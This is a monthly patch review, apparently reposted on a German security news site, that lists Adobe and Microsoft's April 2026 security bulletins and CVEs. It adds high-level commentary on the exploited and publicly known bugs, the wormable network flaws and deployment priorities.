]]> <![CDATA[The April 2026 Security Update Review]]> https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/ Sat, 25 Jul 2026 19:00:42 +0200 📰 IT Security Nachrichten tsecurity.de It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-43 Adobe Acrobat Reader 1 Critical 8.6 Yes 1
APSB26-44 Adobe Acrobat Reader 2 Critical 8.6 No 2
APSB26-32 Adobe InDesign 9 Critical 7.8 No 3
APSB26-33 Adobe InCopy 2 Critical 7.8 No 3
APSB26-36 Adobe FrameMaker 11 Critical 8.6 No 3
APSB26-37 Adobe Connect 9 Critical 9.6 No 3
APSB26-38 Adobe ColdFusion 7 Critical 9.3 No 1
APSB26-39 Adobe Bridge 6 Critical 7.8 No 3
APSB26-40 Adobe Photoshop 1 Critical 7.8 No 3
APSB26-42 Adobe Illustrator 1 Critical 7.8 No 3
APSB26-34 Adobe Experience Manager Screens 9 Important 5.4 No 3
APSB26-41 Adobe DNG SDK 3 Important 5.5 No 3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

-    CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

-    CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

-   CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

-    CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday
CVE Title Severity CVSS Public Exploited Type
CVE-2026-32201 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No Yes Spoofing
CVE-2026-5281 * Chromium: CVE-2026-5281 Use after free in Dawn High N/A No Yes RCE
CVE-2026-33825 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes No EoP
CVE-2026-23666 .NET Framework Denial of Service Vulnerability Critical 7.5 No No DoS
CVE-2026-32190 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33114 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-33115 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-32157 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-33826 Windows Active Directory Remote Code Execution Vulnerability Critical 8 No No RCE
CVE-2026-33824 Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-33827 Windows TCP/IP Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-26171 .NET Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-32226 .NET Framework Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-32178 .NET Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-32203 .NET and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-33116 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2023-20585 * AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability Important 5.3 No No RCE
CVE-2026-32072 Active Directory Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-25184 Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32171 Azure Logic Apps Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32168 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32192 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32181 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27924 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32152 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32154 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27923 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32155 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23653 GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability Important 5.7 No No Info
CVE-2026-23653 * GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes Important 7.4 No No Info
CVE-2026-33096 HTTP.sys Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-25250 * MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix Important 6 No No SFB
CVE-2026-26181 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32219 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32091 Microsoft Brokering File System Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-26152 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33103 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32188 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-32189 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32197 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32198 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32199 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32184 Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26155 Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-27914 Microsoft Management Console Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26149 Microsoft Power Apps Security Feature Bypass Important 9 No No SFB
CVE-2026-32200 Microsoft PowerPoint Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-26143 Microsoft PowerShell Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-33120 † Microsoft SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-20945 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-33822 Microsoft Word Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-33095 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-23657 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32081 Package Catalog Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26170 PowerShell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26183 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26160 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26159 Remote Desktop Licensing Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26151 Remote Desktop Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-32085 Remote Procedure Call Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32167 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32176 SQL Server Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-0390 UEFI Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-32220 UEFI Secure Boot Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-32212 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32214 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32079 Web Account Manager Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-33104 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32196 Windows Admin Center Spoofing Vulnerability Important 6.1 No No Spoofing
CVE-2026-26178 Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32073 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26168 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26173 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26177 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26182 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27922 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33099 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33100 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32088 Windows Biometric Service Security Feature Bypass Vulnerability Important 6.1 No No SFB
CVE-2026-27913 Windows BitLocker Security Feature Bypass Vulnerability Important 7.7 No No SFB
CVE-2026-26175 Windows Boot Manager Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32162 Windows COM Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-20806 Windows COM Server Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26176 Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27926 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32070 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33098 Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26153 Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32087 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32093 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32086 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32150 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27931 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27930 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32221 Windows Graphics Component Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-27906 Windows Hello Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-27928 Windows Hello Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-26156 Windows Hyper-V Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32149 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-27910 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27912 Windows Kerberos Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-26179 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26180 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32195 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26163 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32215 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32217 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32218 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26169 Windows Kernel Memory Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-27929 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32071 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20930 Windows Management Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26162 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33101 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32084 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27927 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26184 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32069 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32074 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32078 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26167 Windows Push Notifications Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32158 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32159 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32160 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26172 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20928 Windows Recovery Environment Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32216 Windows Redirected Drive Buffering System Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27909 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26161 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26174 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32224 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26154 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-26165 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26166 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27918 Windows Shell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32151 Windows Shell Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32225 Windows Shell Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-32202 Windows Shell Spoofing Vulnerability Important 4.3 No No Spoofing
CVE-2026-32082 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32083 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32068 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32183 Windows Snipping Tool Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32089 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32090 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32153 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27907 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32076 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27908 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27921 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27915 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27919 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32075 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27916 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27920 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32077 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27925 Windows UPnP Device Host Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32156 Windows UPnP Device Host Remote Code Execution Vulnerability Important 7.4 No No RCE
CVE-2026-32223 Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-32165 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27911 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32163 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32164 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23670 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability Important 5.7 No No SFB
CVE-2026-27917 Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32080 Windows WalletService Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32222 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21637 * HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers Moderate 7.5 No No SFB
CVE-2026-33119 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-33829 Windows Snipping Tool Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-5858 * Chromium: CVE-2026-5858 Heap buffer overflow in WebML Critical N/A No No RCE
CVE-2026-5859 * Chromium: CVE-2026-5859 Integer overflow in WebML Critical N/A No No RCE
CVE-2026-5272 * Chromium: CVE-2026-5272 Heap buffer overflow in GPU High N/A No No RCE
CVE-2026-5273 * Chromium: CVE-2026-5273 Use after free in CSS High N/A No No RCE
CVE-2026-5274 * Chromium: CVE-2026-5274 Integer overflow in Codecs High N/A No No RCE
CVE-2026-5275 * Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5276 * Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB High N/A No No SFB
CVE-2026-5277 * Chromium: CVE-2026-5277 Integer overflow in ANGLE High N/A No No RCE
CVE-2026-5279 * Chromium: CVE-2026-5279 Object corruption in V8 High N/A No No RCE
CVE-2026-5280 * Chromium: CVE-2026-5280 Use after free in WebCodecs High N/A No No RCE
CVE-2026-5283 * Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE High N/A No No SFB
CVE-2026-5284 * Chromium: CVE-2026-5284 Use after free in Dawn High N/A No No RCE
CVE-2026-5285 * Chromium: CVE-2026-5285 Use after free in WebGL High N/A No No RCE
CVE-2026-5286 * Chromium: CVE-2026-5286 Use after free in Dawn High N/A No No RCE
CVE-2026-5287 * Chromium: CVE-2026-5287 Use after free in PDF High N/A No No RCE
CVE-2026-5289 * Chromium: CVE-2026-5289 Use after free in Navigation High N/A No No RCE
CVE-2026-5290 * Chromium: CVE-2026-5290 Use after free in Compositing High N/A No No RCE
CVE-2026-5860 * Chromium: CVE-2026-5860 Use after free in WebRTC High N/A No No RCE
CVE-2026-5861 * Chromium: CVE-2026-5861 Use after free in V8 High N/A No No RCE
CVE-2026-5862 * Chromium: CVE-2026-5862 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5863 * Chromium: CVE-2026-5863 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5864 * Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio High N/A No No RCE
CVE-2026-5865 * Chromium: CVE-2026-5865 Type Confusion in V8 High N/A No No RCE
CVE-2026-5866 * Chromium: CVE-2026-5866 Use after free in Media High N/A No No RCE
CVE-2026-5867 * Chromium: CVE-2026-5867 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5868 * Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5869 * Chromium: CVE-2026-5869 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5870 * Chromium: CVE-2026-5870 Integer overflow in Skia High N/A No No RCE
CVE-2026-5871 * Chromium: CVE-2026-5871 Type Confusion in V8 High N/A No No RCE
CVE-2026-5872 * Chromium: CVE-2026-5872 Use after free in Blink High N/A No No RCE
CVE-2026-5873 * Chromium: CVE-2026-5873 Out of bounds read and write in V8 High N/A No No RCE
CVE-2026-5291 * Chromium: CVE-2026-5291 Inappropriate implementation in WebGL Medium N/A No No SFB
CVE-2026-5292 * Chromium: CVE-2026-5292 Out of bounds read in WebCodecs Medium N/A No No Info
CVE-2026-5874 * Chromium: CVE-2026-5874 Use after free in PrivateAI Medium N/A No No RCE
CVE-2026-5875 * Chromium: CVE-2026-5875 Policy bypass in Blink Medium N/A No No SFB
CVE-2026-5876 * Chromium: CVE-2026-5876 Side-channel information leakage in Navigation Medium N/A No No Info
CVE-2026-5877 * Chromium: CVE-2026-5877 Use after free in Navigation Medium N/A No No RCE
CVE-2026-5878 * Chromium: CVE-2026-5878 Incorrect security UI in Blink Medium N/A No No Spoofing
CVE-2026-5879 * Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE Medium N/A No No SFB
CVE-2026-5880 * Chromium: CVE-2026-5880 Incorrect security UI in browser UI Medium N/A No No Spoofing
CVE-2026-5881 * Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess Medium N/A No No SFB
CVE-2026-5882 * Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen Medium N/A No No Spoofing
CVE-2026-5883 * Chromium: CVE-2026-5883 Use after free in Media Medium N/A No No RCE
CVE-2026-5884 * Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media Medium N/A No No SFB
CVE-2026-5885 * Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML Medium N/A No No SFB
CVE-2026-5886 * Chromium: CVE-2026-5886 Out of bounds read in WebAudio Medium N/A No No Info
CVE-2026-5887 * Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads Medium N/A No No SFB
CVE-2026-5888 * Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs Medium N/A No No RCE
CVE-2026-5889 * Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium Medium N/A No No SFB
CVE-2026-5890 * Chromium: CVE-2026-5890 Race in WebCodecs Medium N/A No No RCE
CVE-2026-5891 * Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI Medium N/A No No SFB
CVE-2026-5892 * Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs Medium N/A No No SFB
CVE-2026-5893 * Chromium: CVE-2026-5893 Race in V8 Medium N/A No No RCE
CVE-2026-5894 * Chromium: CVE-2026-5894 Inappropriate implementation in PDF Low N/A No No SFB
CVE-2026-5895 * Chromium: CVE-2026-5895 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5896 * Chromium: CVE-2026-5896 Policy bypass in Audio Low N/A No No SFB
CVE-2026-5897 * Chromium: CVE-2026-5897 Incorrect security UI in Downloads Low N/A No No Spoofing
CVE-2026-5898 * Chromium: CVE-2026-5898 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5899 * Chromium: CVE-2026-5899 Incorrect security UI in History Navigation Low N/A No No Spoofing
CVE-2026-5900 * Chromium: CVE-2026-5900 Policy bypass in Downloads Low N/A No No SFB
CVE-2026-5901 * Chromium: CVE-2026-5901 Policy bypass in DevTools Low N/A No No SFB
CVE-2026-5902 * Chromium: CVE-2026-5902 Race in Media Low N/A No No RCE
CVE-2026-5903 * Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox Low N/A No No SFB
CVE-2026-5904 * Chromium: CVE-2026-5904 Use after free in V8 Low N/A No No RCE
CVE-2026-5905 * Chromium: CVE-2026-5905 Incorrect security UI in Permissions Low N/A No No Spoofing
CVE-2026-5906 * Chromium: CVE-2026-5906 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5907 * Chromium: CVE-2026-5907 Insufficient data validation in Media Low N/A No No SFB
CVE-2026-5908 * Chromium: CVE-2026-5908 Integer overflow in Media Low N/A No No RCE
CVE-2026-5909 * Chromium: CVE-2026-5909 Integer overflow in Media Low N/A No No RCE
CVE-2026-5910 * Chromium: CVE-2026-5910 Integer overflow in Media Low N/A No No RCE
CVE-2026-5911 * Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers Low N/A No No SFB
CVE-2026-5912 * Chromium: CVE-2026-5912 Integer overflow in WebRTC Low N/A No No RCE
CVE-2026-5913 * Chromium: CVE-2026-5913 Out of bounds read in Blink Low N/A No No Info
CVE-2026-5914 * Chromium: CVE-2026-5914 Type Confusion in CSS Low N/A No No RCE
CVE-2026-5915 * Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML Low N/A No No SFB
CVE-2026-5918 * Chromium: CVE-2026-5918 Inappropriate implementation in Navigation Low N/A No No SFB
CVE-2026-5919 * Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets Low N/A No No SFB
CVE-2026-33118 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

